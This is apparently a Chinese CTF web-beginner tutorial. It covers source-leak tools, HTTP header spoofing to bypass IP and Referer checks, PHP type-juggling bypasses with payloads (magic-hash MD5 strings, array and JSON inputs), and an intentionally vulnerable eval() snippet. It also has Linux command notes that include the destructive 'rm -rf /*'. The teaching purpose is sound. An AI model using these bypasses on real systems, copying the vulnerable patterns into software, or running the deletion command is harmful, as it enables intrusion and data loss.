web入个门

CTF_web入门

信息泄露

查看源代码

页面源代码是信息的一个重要来处F12和右击查看源代码都可以

目录扫描

dirsearch与御剑

dirsearch安装:apt install dirsearch

git泄露

GitHacker安装与使用

1
2
3
4
5
6
7
8
9
10
# install
python3 -m pip install -i https://pypi.org/simple/ GitHacker
# print help info
githacker --help
# quick start
githacker --url http://127.0.0.1/.git/ --output-folder result
# brute for the name of branchs / tags
githacker --brute --url http://127.0.0.1/.git/ --output-folder result
# exploit multiple websites, one site per line
githacker --brute --url-file websites.txt --output-folder result

可以进入对应文件夹然后使用 git log查看对应日志,通过 git reset --hard xxxxxxxxxxxxxxxxxxxxxxx 以达到恢复已删除内容的效果。

DS_Store泄露

工具下载与使用:https://github.com/lijiejie/ds_store_exp

robots.txt

爬虫协议,有时可以通过它看见一些重要的目录。

1
2
3
4
User-agent: *
Disallow: /images/
Disallow: /f1ag.txt/
Disallow: /tips.php

备份文件源码泄漏

CTF-WEB-信息泄露题目总结 - Ca1m - 博客园 (cnblogs.com)

HTTP学习

web安全中,入门的时候,你需要理解的是http头的内容,至少

HTTP请求中的一些请求头

1、Host:指定目标服务器的主机名或IP地址。

2、User-Agent:指定客户端使用的浏览器或其他应用程序的信息。

3、Accept:指定客户端能够接受的MIME类型。

4、Accept-Language:指定客户端首选的自然语言。

5、Accept-Encoding:指定客户端能够接受的编码方式,例如gzip、deflate等。

6、Connection:指定客户端与服务器之间使用的连接类型,例如keep-alive或close。

7、Content-Type:指定请求体的MIME类型,例如application/json、application/x-www-form-urlencoded等。

8、Content-Length:指定请求体的长度,以字节为单位。

9、Referer:指定请求的来源URL,用于告诉服务器用户从哪个页面跳转到当前页面。

10、Authorization:指定请求的认证信息,例如用户名和密码或访问令牌。

11、Cookie:指定请求的Cookie信息,用于跟踪用户会话。

12、If-Modified-Since:指定上次请求资源的时间,服务器可以根据该头部判断资源是否已经被修改过。

13、User-Agent:指定客户端使用的浏览器或其他应用程序的信息。

14、Accept-Ranges:指定服务器是否支持分段下载,例如bytes。

15、Range:指定客户端请求的资源范围,用于实现分段下载或断点续传。

16、Cache-Control:指定请求或响应的缓存策略,例如max-age、no-cache、no-store等

HTTP请求中的一些常用自定义请求头

X-Forwarded-Host 头部是在HTTP代理或负载均衡器后面使用的。

X-Forwarded-For:用于记录客户端的IP地址,特别在使用代理服务器时。

X-Requested-With:用于指示请求的类型,例如XMLHttpRequest。

X-Csrf-Token:用于防止跨站请求伪造攻击。

X-Content-Type-Options:用于指示浏览器是否应该自动处理响应体的MIME类型,例如nosniff。

X-Frame-Options:用于控制页面是否可以嵌入到iframe中,防止点击劫持攻击。

X-XSS-Protection:用于启用浏览器内置的跨站脚本攻击防护机制。

X-Powered-By:用于指示服务器所使用的软件名称和版本号。

常见的Content-Type类型包括:

application/json:用于传输JSON格式的数据。

application/x-www-form-urlencoded:用于传输HTML表单数据,即URL编码的键值对。

multipart/form-data:用于传输文件和二进制数据。

text/plain:用于传输纯文本数据。

请求方式

HTTP 定义了一组请求方法,以表明要对给定资源执行的操作。指示针对给定资源要执行的期望动作。虽然它们也可以是名词,但这些请求方法有时被称为 HTTP 动词。每一个请求方法都实现了不同的语义,但一些共同的特征由一组共享:例如一个请求方法可以是安全的幂等的可缓存的

  • GET

    GET 方法请求一个指定资源的表示形式,使用 GET 的请求应该只被用于获取数据。

  • HEAD

    HEAD 方法请求一个与 GET 请求的响应相同的响应,但没有响应体。

  • POST

    POST 方法用于将实体提交到指定的资源,通常导致在服务器上的状态变化或副作用。

  • PUT

    PUT 方法用有效载荷请求替换目标资源的所有当前表示。

  • DELETE

    DELETE 方法删除指定的资源。

  • CONNECT

    CONNECT 方法建立一个到由目标资源标识的服务器的隧道。

  • OPTIONS

    OPTIONS 方法用于描述目标资源的通信选项。

  • TRACE

    TRACE 方法沿着到目标资源的路径执行一个消息环回测试。

  • PATCH

    PATCH 方法用于对资源应用部分修改。

这里常用的是post和get的请求方式

GET&POST

Get和Post操作是传参的基本操作,也是CTF中很常见的常规操作,使用hackbar可以很轻松的完成这个任务。

GET:在url中提交参数,如/index.php?a=1

POST:可通过hackbar或抓包插入post数据提交

最直接的区别:

GET请求的参数是放在URL里的,POST请求参数是放在请求body里的。

HTTP头部绕过姿势

  • 如果提示需要本地ip或指定ip才能访问,则可在报文头部添加以下几种常用信息段:

    X-Forwarded-For: 127.0.0.1
    X-Client-IP: 127.0.0.1
    Client-IP: 127.0.0.1

  • 如果需要验证网页来源,如一定要从谷歌跳转过来的页面才允许访问,则可在报文头部添加:

    Referer: https://www.google.com

  • 如果网页需要验证cookie,我们可以在http头部加入:

    Cookie: xxx=xxxxx

  • 除了以上几种常见的情况,还需根据具体情况来使用不同的操作

Dos命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
ASSOC          显示或修改文件扩展名关联。
ATTRIB 显示或更改文件属性。
BREAK 设置或清除扩展式 CTRL+C 检查。
BCDEDIT 设置启动数据库中的属性以控制启动加载。
CACLS 显示或修改文件的访问控制列表(ACL)。
CALL 从另一个批处理程序调用这一个。
CD 显示当前目录的名称或将其更改。
CHCP 显示或设置活动代码页数。
CHDIR 显示当前目录的名称或将其更改。
CHKDSK 检查磁盘并显示状态报告。
CHKNTFS 显示或修改启动时间磁盘检查。
CLS 清除屏幕。
CMD 打开另一个 Windows 命令解释程序窗口。
COLOR 设置默认控制台前景和背景颜色。
COMP 比较两个或两套文件的内容。
COMPACT 显示或更改 NTFS 分区上文件的压缩。
CONVERT 将 FAT 卷转换成 NTFS。你不能转换
当前驱动器。
COPY 将至少一个文件复制到另一个位置。
DATE 显示或设置日期。
DEL 删除至少一个文件。
DIR 显示一个目录中的文件和子目录。
DISKPART 显示或配置磁盘分区属性。
DOSKEY 编辑命令行、撤回 Windows 命令并
创建宏。
DRIVERQUERY 显示当前设备驱动程序状态和属性。
ECHO 显示消息,或将命令回显打开或关闭。
ENDLOCAL 结束批文件中环境更改的本地化。
ERASE 删除一个或多个文件。
EXIT 退出 CMD.EXE 程序(命令解释程序)。
FC 比较两个文件或两个文件集并显示
它们之间的不同。
FIND 在一个或多个文件中搜索一个文本字符串。
FINDSTR 在多个文件中搜索字符串。
FOR 为一组文件中的每个文件运行一个指定的命令。
FORMAT 格式化磁盘,以便用于 Windows。
FSUTIL 显示或配置文件系统属性。
FTYPE 显示或修改在文件扩展名关联中使用的文件
类型。
GOTO 将 Windows 命令解释程序定向到批处理程序
中某个带标签的行。
GPRESULT 显示计算机或用户的组策略信息。
GRAFTABL 使 Windows 在图形模式下显示扩展
字符集。
HELP 提供 Windows 命令的帮助信息。
ICACLS 显示、修改、备份或还原文件和
目录的 ACL。
IF 在批处理程序中执行有条件的处理操作。
LABEL 创建、更改或删除磁盘的卷标。
MD 创建一个目录。
MKDIR 创建一个目录。
MKLINK 创建符号链接和硬链接
MODE 配置系统设备。
MORE 逐屏显示输出。
MOVE 将一个或多个文件从一个目录移动到另一个
目录。
OPENFILES 显示远程用户为了文件共享而打开的文件。
PATH 为可执行文件显示或设置搜索路径。
PAUSE 暂停批处理文件的处理并显示消息。
POPD 还原通过 PUSHD 保存的当前目录的上一个
值。
PRINT 打印一个文本文件。
PROMPT 更改 Windows 命令提示。
PUSHD 保存当前目录,然后对其进行更改。
RD 删除目录。
RECOVER 从损坏的或有缺陷的磁盘中恢复可读信息。
REM 记录批处理文件或 CONFIG.SYS 中的注释(批注)。
REN 重命名文件。
RENAME 重命名文件。
REPLACE 替换文件。
RMDIR 删除目录。
ROBOCOPY 复制文件和目录树的高级实用工具
SET 显示、设置或删除 Windows 环境变量。
SETLOCAL 开始本地化批处理文件中的环境更改。
SC 显示或配置服务(后台进程)。
SCHTASKS 安排在一台计算机上运行命令和程序。
SHIFT 调整批处理文件中可替换参数的位置。
SHUTDOWN 允许通过本地或远程方式正确关闭计算机。
SORT 对输入排序。
START 启动单独的窗口以运行指定的程序或命令。
SUBST 将路径与驱动器号关联。
SYSTEMINFO 显示计算机的特定属性和配置。
TASKLIST 显示包括服务在内的所有当前运行的任务。
TASKKILL 中止或停止正在运行的进程或应用程序。
TIME 显示或设置系统时间。
TITLE 设置 CMD.EXE 会话的窗口标题。
TREE 以图形方式显示驱动程序或路径的目录
结构。
TYPE 显示文本文件的内容。
VER 显示 Windows 的版本。
VERIFY 告诉 Windows 是否进行验证,以确保文件
正确写入磁盘。
VOL 显示磁盘卷标和序列号。
XCOPY 复制文件和目录树。
WMIC 在交互式命令 shell 中显示 WMI 信息。

php语法快速入门(看得懂就行版本)

当你开始学习 PHP 语法时,以下是一些基本概念和语法规则,可以帮助你快速入门:

  1. 语法标记:PHP 代码通常包含在 <?php?> 标记之间。例如:
1
2
3
<?php
// PHP 代码在这里
?>
  1. 注释:使用注释可以在代码中添加说明性文字,对于自己和其他人来说都很有用。PHP 支持单行注释和多行注释。例如:
1
2
3
4
5
6
// 这是单行注释

/*
这是
多行注释
*/
  1. 变量:用于存储和操作数据的容器。在 PHP 中,变量以美元符号 $ 开头,后面跟着变量名。变量名可以包含字母、数字和下划线,但必须以字母或下划线开头。PHP 是一种弱类型语言,变量的类型会根据赋值的内容自动确定。例如:
1
2
$name = "John"; // 字符串类型的变量
$age = 25; // 整数类型的变量
  1. 数据类型:PHP 支持多种数据类型,包括字符串、整数、浮点数、布尔值、数组、对象等。根据需要,你可以根据数据类型执行相应的操作。例如:
1
2
3
4
$str = "Hello"; // 字符串类型
$num = 10; // 整数类型
$pi = 3.14; // 浮点数类型
$isTrue = true; // 布尔值类型
  1. 输出内容:使用 echoprint 关键字可以将内容输出到浏览器。例如:
1
2
3
echo "Hello, World!"; // 输出字符串
$num = 10;
echo $num; // 输出变量的值
  1. 条件语句:使用条件语句可以根据条件的真假执行不同的代码块。常见的条件语句有 ifelse ifelse。例如:
1
2
3
4
5
6
7
8
9
$age = 20;

if ($age < 18) {
echo "未成年人";
} elseif ($age >= 18 && $age < 60) {
echo "成年人";
} else {
echo "老年人";
}
  1. 循环语句:使用循环语句可以重复执行一段代码块。常见的循环语句有 forwhileforeach。例如:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
for ($i = 1; $i <= 5; $i++) {
echo $i;
}

$i = 1;
while ($i <= 5) {
echo $i;
$i++;
}

$fruits = array("Apple", "Banana", "Orange");
foreach ($fruits as $fruit) {
echo $fruit;
}
  1. 函数:
    函数是封装了一段可重复使用的代码块。它可以接受参数并返回一个值。以下是一个简单的函数示例:
1
2
3
4
5
function greet($name) {
echo "Hello, " . $name . "!";
}

greet("John"); // 调用函数并传递参数
  1. 数组:
    数组是用于存储多个值的数据结构。在 PHP 中,数组可以包含不同类型的值,并且可以通过索引或关联键进行访问。以下是一个简单的数组示例:
1
2
3
4
5
6
7
8
9
10
11
$fruits = array("Apple", "Banana", "Orange");

echo $fruits[0]; // 输出数组的第一个元素

$person = array(
"name" => "John",
"age" => 25,
"city" => "New York"
);

echo $person["name"]; // 输出数组中关联键为 "name" 的值
  1. 类:
    类是面向对象编程的核心概念之一,用于封装数据和功能。一个类定义了一种对象的行为和属性。以下是一个简单的类示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Person {
public $name;
public $age;

public function __construct($name, $age) {
$this->name = $name;
$this->age = $age;
}

public function greet() {
echo "Hello, my name is " . $this->name . " and I am " . $this->age . " years old.";
}
}

$person = new Person("John", 25); // 创建一个 Person 对象
$person->greet(); // 调用类的方法

在上面的示例中,Person 类具有 nameage 两个属性,以及 __construct() 构造函数和 greet() 方法。使用 new 关键字可以实例化一个类,并通过 -> 运算符访问类的属性和方法。

php的正则表达式

基础

  1. 字符匹配:
    • .:匹配任意字符(除了换行符)。
    • \w:匹配字母、数字、下划线。
    • \d:匹配数字。
    • \s:匹配空白字符(空格、制表符、换行符等)。
  2. 重复匹配:
    • *:匹配前面的元素零次或多次。
    • +:匹配前面的元素一次或多次。
    • ?:匹配前面的元素零次或一次。
    • {n}:匹配前面的元素恰好n次。
    • {n,}:匹配前面的元素至少n次。
    • {n,m}:匹配前面的元素至少n次、最多m次。
  3. 字符类:
    • [abc]:匹配’a’、’b’或’c’中的任意一个字符。
    • [^abc]:匹配除了’a’、’b’和’c’以外的任意字符。
    • [a-z]:匹配任意小写字母。
    • [A-Z]:匹配任意大写字母。
    • [0-9]:匹配任意数字。
  4. 边界匹配:
    • ^:匹配字符串的开始位置。
    • $:匹配字符串的结束位置。
    • \b:匹配单词的边界。
  5. 分组和捕获:
    • (...):创建一个捕获组。
    • (?:...):创建一个非捕获组。

进阶

  1. 反向引用:

    • 使用(...)将模式中的一部分捕获为一个组。

    • 可以使用\n(n为组的编号)来引用先前捕获的组。

    • 例如,(a)\1将匹配连续出现的两个相同的字母”a”。

      1
      2
      3
      4
      5
      6
      7
      8
      $str = "Hello Hello World World World";
      $pattern = '/(\b\w+\b)\s+\1/';
      if (preg_match($pattern, $str, $matches)) {
      echo "匹配成功!重复的单词是:" . $matches[1];
      } else {
      echo "未找到重复的单词。";
      }
      //"匹配成功!重复的单词是:Hello"

      在上面的示例中,正则表达式模式/(\b\w+\b)\s+\1/包含以下部分:

      • (\b\w+\b): 这是一个捕获组,用于匹配一个完整的单词。
      • \s+: 匹配一个或多个空格字符。
      • \1: 这是一个反向引用,引用了第一个捕获组所匹配的内容。
  2. 平衡组:

    • 使用平衡组可以匹配嵌套结构,如括号、HTML标签等。

    • 通过在模式中使用递归引用来实现平衡组的匹配。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      $str = "(abc(def(ghi)))";

      $pattern = '/
      (?(DEFINE)
      (?<paren> \( (?: [^()]+ | (?&paren) )* \) )
      )
      ^ (?&paren) $
      /x';

      if (preg_match($pattern, $str, $matches)) {
      echo "括号匹配成功!";
      } else {
      echo "括号匹配失败。";
      }
      //括号匹配成功

      在上面的示例中,正则表达式模式使用了平衡组的概念。这个模式包含以下部分:

      • (?(DEFINE)...): 这是一个定义块,定义了一个名为 "paren" 的平衡组。
      • (?<paren> \( (?: [^()]+ | (?&paren) )* \) ): 这是名为 "paren" 的平衡组,用于匹配成对出现的括号。它使用了递归的方式,允许嵌套的括号。

      详细解析

      1
      2
      3
      4
      5
      6
      $pattern = '/
      (?(DEFINE)
      (?<paren> \( (?: [^()]+ | (?&paren) )* \) )
      )
      ^ (?&paren) $
      /x';

      这个模式使用了平衡组的概念来匹配平衡的括号结构。

      定义块:(?(DEFINE)...)定义了一个定义块,其中包含一个名为paren 的平衡组的定义。

      在上面的定义块中,我们定义了名为paren的平衡组。它使用了递归的方式来匹配括号内的内容。

      • "\(": 匹配左括号 "("
      • "(?": [^()]+ | (?&paren) )*: 这是一个非捕获组,用于匹配括号内的内容。它可以匹配非括号字符[^()]+ 或者递归引用(?&paren)。这样就可以实现括号内的嵌套结构。
      • "\)": 匹配右括号 ")"。

      引用:^(?&paren) $是对paren 平衡组的引用,它用于匹配整个字符串是否符合平衡的括号结构。

      • ^: 匹配字符串的开头。
      • (?&paren): 这是对 paren 平衡组的引用,用于匹配平衡的括号结构。
      • $: 匹配字符串的结尾。
  3. 断言:

    • (?=...):正向肯定先行断言,要求后面的模式与其匹配,但不消耗字符。
    • (?!...):正向否定先行断言,要求后面的模式不与其匹配,但不消耗字符。
    • (?<=...):反向肯定后行断言,要求前面的模式与其匹配,但不消耗字符。
    • (?<!...):反向否定后行断言,要求前面的模式不与其匹配,但不消耗字符。
  4. 修饰符:

    • i:忽略大小写。
    • m:多行模式,使^$匹配每行的开始和结束位置。
    • s:使.匹配包括换行符在内的所有字符。
    • x:忽略模式中的空白和注释。

php中的一些技巧

php弱类型与强类型

== 与 ===

1
2
3
4
5
6
<?php
$a == $b ;
$a === $b ;
?>
//=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
// == 在进行比较的时候,会先将字符串类型转化成相同,再比较

如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行

1
2
3
4
5
6
7
8
9
10
11
12
<?php
var_dump("admin" == 0); //true
var_dump("1admin"== 1); //true
var_dump("admin1"== 1); //false
var_dump("admin1"== 0); //true
var_dump("0e123456"=="0e4456789"); //true
?> //上述代码可自行测试

// 观察上述代码
//"admin"==0 比较的时候,会将admin转化成数值,强制转化,由于admin是字符串,转化的结果是0自然和0相等
//"1admin"==1 比较的时候会将1admin转化成数值,结果为1,而“admin1“==1 却等于错误,即是"admin1"被转化成了0,为什么呢??
//"0e123456"=="0e456789"相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等。

php手册:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/*
当一个字符串当作一个数值来取值,其结果和类型如下:如果该字符串没有包含'.','e','E'并且其数值值在整形的范围之内
该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
*/

C
<?php
$test=1 + "10.5"; // $test=11.5(float)
$test=1+"-1.3e3"; //$test=-1299(float)
$test=1+"bob-1.3e3";//$test=1(int)
$test=1+"2admin";//$test=3(int)
$test=1+"admin2";//$test=1(int)
?>

So that's why " "admin1"==1 =>False "

md5绕过(Hash比较缺陷)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if (isset($_GET['Username']) && isset($_GET['password'])) {
$logined = true;
$Username = $_GET['Username'];
$password = $_GET['password'];

if (!ctype_alpha($Username)) {$logined = false;}
if (!is_numeric($password) ) {$logined = false;}
if (md5($Username) != md5($password)) {$logined = false;}
if ($logined){
echo "successful";
}else{
echo "login failed!";
}
}
?>

大意是要输入一个字符串和数字类型,并且他们的md5值相等,就可以成功执行下一步语句

介绍一批md5开头是0e的字符串

0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。

键入**md5(‘240610708’) == md5(‘QNKCDZO’)**成功绕过!

md5开头是0e的字符串(来源于网络):

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

json绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";
if ($message->key == $key) {
echo "flag";
}
else {
echo "fail";
}
}
else{
echo "~~~~";
}
?>

输入一个json类型的字符串,json_decode函数解成一个数组,判断数组中key的值是否等于 $key的值,但是$key的值我们不知道,但是可以利用0==”admin”这种形式绕过.

**最终payload **

1
message={"key":0}

array_search is_array绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if(!is_array($_GET['test'])){exit();}
$test=$_GET['test'];
for($i=0;$i<count($test);$i++){
if($test[$i]==="admin"){
echo "error";
exit();
}
$test[$i]=intval($test[$i]);
}
if(array_search("admin",$test)===0){
echo "flag";
}
else{
echo "false";
}
?>

先判断传入的是不是数组,然后循环遍历数组中的每个值,并且数组中的每个值不能和admin相等,并且将每个值转化为int类型,再判断传入的数组是否有admin,有则返回flag。

1
payload: test[]=0//可以绕过

官方手册对array_search的介绍

1
mixed array_search ( mixed $needle , array $haystack [], bool $strict = false )

$needle,$haystack必需,$strict可选 函数判断$haystack中的值是存在$needle,存在则返回该值的键值 第三个参数默认为false,如果设置为true则会进行严格过滤。

1
2
3
4
5
<?php
$a=array(0,1);
var_dump(array_search("admin",$a)); // int(0) ==> 返回键值0
var_dump(array_search("1admin",$a)); // int(1) ==> 返回键值1
?>

array_search函数 类似于 == 也就是$a ==”admin” 当然是$a=0 当然如果第三个参数为true则就不能绕过。

strcmp漏洞绕过 php -v <5.3

1
2
3
4
5
6
7
8
9
10
11
<?php
$password="***************"
if(isset($_POST['password'])){

if (strcmp($_POST['password'], $password) == 0) {
echo "Right!!!login success";
exit();
} else {
echo "Wrong password..";
}
?>
  • strcmp是比较两个字符串,如果str1<str2 则返回<0 如果str1大于str2返回>0 如果两者相等 返回0
  • 我们是不知道$password的值的,题目要求strcmp判断的接受的值和$password必需相等,strcmp传入的期望类型是字符串类型,如果传入的是个数组会怎么样呢
  • 我们传入 password[]=xxx 可以绕过 是因为函数接受到了不符合的类型,将发生错误,但是还是判断其相等
  • payload: password[]=xxx

switch绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$a="4admin";
switch ($a) {
case 1:
echo "fail1";
break;
case 2:
echo "fail2";
break;
case 3:
echo "fail3";
break;
case 4:
echo "sucess"; //结果输出success;
break;
default:
echo "failall";
break;
}
?>

原理和上面一样

is_numeric()、int()强制类型转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
show_source(__FILE__);
$flag = "xxxx";
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){
echo 'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';
}else{
sleep((int)$_GET['time']);
echo $flag;
}
echo '<hr>';
}
?>

知识点:

int(),不能正确转换的类型有十六进制型字符串、科学计数法型字符串
is_numeric()支持普通数字型字符串、科学记数法型字符串、部分支持十六进制0x型字符串

先判断是不是数字,然后再进行int长短的限定判断,也就是只能限定在5184000L< time < 7776000

通过is_number() 能传入科学计数法,来进行绕过。

所以根据int不能处理科学计数法,而在is_number上能处理来解决。

php_eval_RCE

eval危险函数利用好就可以完成RCE,所以一般使用的时候会ban掉很多东西,下面就是一个最简单的eval()的利用。

1
2
3
4
5
<?php
show_source(__FILE__);
$cmd=$_POST['cmd'];
eval($cmd);
?>

我们可以通过调用一些函数达到RCE的效果,最经典的就是system()可以通过这个函数实现命令的执行。

然后就是一些linux的基础知识

Linux系统的文件结构

/bin 二进制文件,系统常规命令
/boot 系统启动分区,系统启动时读取的文件
/dev 设备文件
/etc 大多数配置文件
/home 普通用户的家目录
/lib 32位函数库
/lib64 64位库
/media 手动临时挂载点
/mnt 手动临时挂载点
/opt 第三方软件安装位置
/proc 进程信息及硬件信息
/root 临时设备的默认挂载点
/sbin 系统管理命令
/srv 数据
/var 数据
/sys 内核相关信息
/tmp 临时文件
/usr 用户相关设定

linux的命令

立刻关机

  • shutdown -h now
  • poweroff

两分钟后关机

  • shutdown -h 2

立刻重启

  • shutdown -r now
  • reboot

两分钟后重启

  • shutdown -r 2

帮助命令

  • (help)ifconfig --help //查看 ifconfig 命令的用法

命令说明书

  • (man)man shutdown //打开命令说明后,可按"q"键退出

切换用户(su)

  • su yao //切换为用户"yao",输入后回车需要输入该用户的密码
  • exit //退出当前用户

切换目录(cd)

  • cd / //切换到根目录
  • cd /bin //切换到根目录下的bin目录
  • cd ../ //切换到上一级目录 或者使用命令:cd ..
  • cd ~ //切换到home目录
  • cd - //切换到上次访问的目录
  • cd xx(文件夹名) //切换到本目录下的名为xx的文件目录,如果目录不存在报错
  • cd /xxx/xx/x //可以输入完整的路径,直接切换到目标目录,输入过程中可以使用tab键快速补全

查看目录(ls)

  • ls //查看当前目录下的所有目录和文件
  • ls -a //查看当前目录下的所有目录和文件(包括隐藏的文件)
  • ls -l //列表查看当前目录下的所有目录和文件(列表查看,显示更多信息),与命令"ll"效果一样
  • ls /bin //查看指定目录下的所有目录和文件

创建目录(mkdir)

  • mkdir tools //在当前目录下创建一个名为tools的目录
  • mkdir /bin/tools //在指定目录下创建一个名为tools的目录

删除目录与文件(rm)

  • rm 文件名 //删除当前目录下的文件
  • rm -f 文件名 //删除当前目录的的文件(不询问)
  • rm -r 文件夹名 //递归删除当前目录下此名的目录
  • rm -rf 文件夹名 //递归删除当前目录下此名的目录(不询问)
  • rm -rf * //将当前目录下的所有目录和文件全部删除
  • rm -rf /* //将根目录下的所有文件全部删除

修改目录(mv)

  • mv 当前目录名 新目录名 //修改目录名,同样适用与文件操作
  • mv /usr/tmp/tool /opt //将/usr/tmp目录下的tool目录剪切到 /opt目录下面
  • mv -r /usr/tmp/tool /opt //递归剪切目录中所有文件和文件夹

拷贝目录(cp)

  • cp /usr/tmp/tool /opt //将/usr/tmp目录下的tool目录复制到 /opt目录下面
  • cp -r /usr/tmp/tool /opt //递归剪复制目录中所有文件和文件夹

搜索目录(find)

  • find /bin -name 'a*' //查找/bin目录下的所有以a开头的文件或者目录

查看当前目录(pwd)

  • pwd //显示当前位置路径

新增文件(touch)

  • touch a.txt //在当前目录下创建名为a的txt文件(文件不存在),如果文件存在,将文件时间属性修改为当前系统时间

删除文件(rm)

  • rm 文件名 //删除当前目录下的文件
  • rm -f 文件名 //删除当前目录的的文件(不询问)

编辑文件(vi、vim)

  • vi 文件名 //打开需要编辑的文件
  • vim +10 filename.txt //打开文件并跳到第10行
  • vim -R /etc/passwd //以只读模式打开文件

-进入后,操作界面有三种模式:命令模式(command mode)、插入模式(Insert mode)和底行模式(last line mode)
命令模式
-刚进入文件就是命令模式,通过方向键控制光标位置,
-使用命令”dd”删除当前整行
-使用命令”/字段”进行查找
-按”i”在光标所在字符前开始插入
-按”a”在光标所在字符后开始插入
-按”o”在光标所在行的下面另起一新行插入
-按”:”进入底行模式
插入模式
-此时可以对文件内容进行编辑,左下角会显示 “– 插入 –””
-按”ESC”进入底行模式
底行模式
-退出编辑: :q
-强制退出: :q!
-保存并退出: :wq

操作步骤示例

1.保存文件:按”ESC” -> 输入”:” -> 输入”wq”,回车 //保存并退出编辑
2.取消操作:按”ESC” -> 输入”:” -> 输入”q!”,回车 //撤销本次修改并退出编辑

查看文件

  • cat a.txt //查看文件最后一屏内容
  • less a.txt //PgUp向上翻页,PgDn向下翻页,"q"退出查看
  • more a.txt //显示百分比,回车查看下一行,空格查看下一页,"q"退出查看
  • tail -100 a.txt //查看文件的后100行,"Ctrl+C"退出查看

权限说明

文件权限简介:’r’ 代表可读(4),’w’ 代表可写(2),’x’ 代表执行权限(1),括号内代表”8421法”
##文件权限信息示例:-rwxrw-r–
-第一位:’-‘就代表是文件,’d’代表是文件夹
-第一组三位:拥有者的权限
-第二组三位:拥有者所在的组,组员的权限
-第三组三位:代表的是其他用户的权限

文件权限

  • 普通授权 chmod +x a.txt
  • 8421法 chmod 777 a.txt //1+2+4=7,"7"说明授予所有权限

打包与解压

.zip、.rar //windows系统中压缩文件的扩展名

.tar //Linux中打包文件的扩展名

.gz //Linux中压缩文件的扩展名

.tar.gz //Linux中打包并压缩文件的扩展名

打包文件

tar -zcvf 打包压缩后的文件名 要打包的文件
参数说明:z:调用gzip压缩命令进行压缩; c:打包文件; v:显示运行过程; f:指定文件名;

  • tar -zcvf a.tar file1 file2,... //多个文件压缩打包

解压文件

  • tar -zxvf a.tar //解包至当前目录
  • tar -zxvf a.tar -C /usr------ //指定解压的位置
  • unzip test.zip //解压*.zip文件
  • unzip -l test.zip //查看*.zip文件的内容

其他常用命令
find

  • find . -name "*.c" //将目前目录及其子目录下所有延伸档名是 c 的文件列出来
  • find . -type f //将目前目录其其下子目录中所有一般文件列出
  • find . -ctime -20 //将目前目录及其子目录下所有最近 20 天内更新过的文件列出
  • find /var/log -type f -mtime +7 -ok rm {} \; //查找/var/log目录中更改时间在7日以前的普通文件,并在删除之前询问它们
  • find . -type f -perm 644 -exec ls -l {} \; //查找前目录中文件属主具有读、写权限,并且文件所属组的用户和其他用户具有读权限的文件
  • find / -type f -size 0 -exec ls -l {} \; //为了查找系统中所有文件长度为0的普通文件,并列出它们的完整路径

whereis

  • whereis ls //将和ls文件相关的文件都查找出来

which

说明:which指令会在环境变量$PATH设置的目录里查找符合条件的文件。

  • which bash //查看指令"bash"的绝对路径

sudo

说明:sudo命令以系统管理者的身份执行指令,也就是说,经由 sudo 所执行的指令就好像是 root 亲自执行。需要输入自己账户密码。
使用权限:在 /etc/sudoers 中有出现的使用者

  • sudo -l //列出目前的权限
  • $ sudo -u yao vi ~www/index.html //以 yao 用户身份编辑 home 目录下www目录中的 index.html 文件

grep

  • grep -i "the" demo_file //在文件中查找字符串(不区分大小写)
  • grep -A 3 -i "example" demo_text //输出成功匹配的行,以及该行之后的三行
  • grep -r "ramesh" * //在一个文件夹中递归查询包含指定字符串的文件

service

说明:service命令用于运行System V init脚本,这些脚本一般位于/etc/init.d文件下,这个命令可以直接运行这个文件夹里面的脚本,而不用加上路径

  • service ssh status //查看服务状态
  • service --status-all //查看所有服务状态
  • service ssh restart //重启服务

free

说明:这个命令用于显示系统当前内存的使用情况,包括已用内存、可用内存和交换内存的情况

  • free -g //以G为单位输出内存的使用量,-g为GB,-m为MB,-k为KB,-b为字节
  • free -t //查看所有内存的汇总

top

  • top //显示当前系统中占用资源最多的一些进程, shift+m 按照内存大小查看

df

说明:显示文件系统的磁盘使用情况

  • df -h //一种易看的显示

mount

  • mount /dev/sdb1 /u01 //挂载一个文件系统,需要先创建一个目录,然后将这个文件系统挂载到这个目录上
  • mount dev/sdb1 /u01 ext2 defaults 0 2 //添加到fstab中进行自动挂载,这样任何时候系统重启的时候,文件系统都会被加载

uname

说明:uname可以显示一些重要的系统信息,例如内核名称、主机名、内核版本号、处理器类型之类的信息

  • uname -a

yum

说明:安装插件命令

  • yum install httpd //使用yum安装apache
  • yum update httpd //更新apache
  • yum remove httpd //卸载/删除apache

rpm

说明:插件安装命令

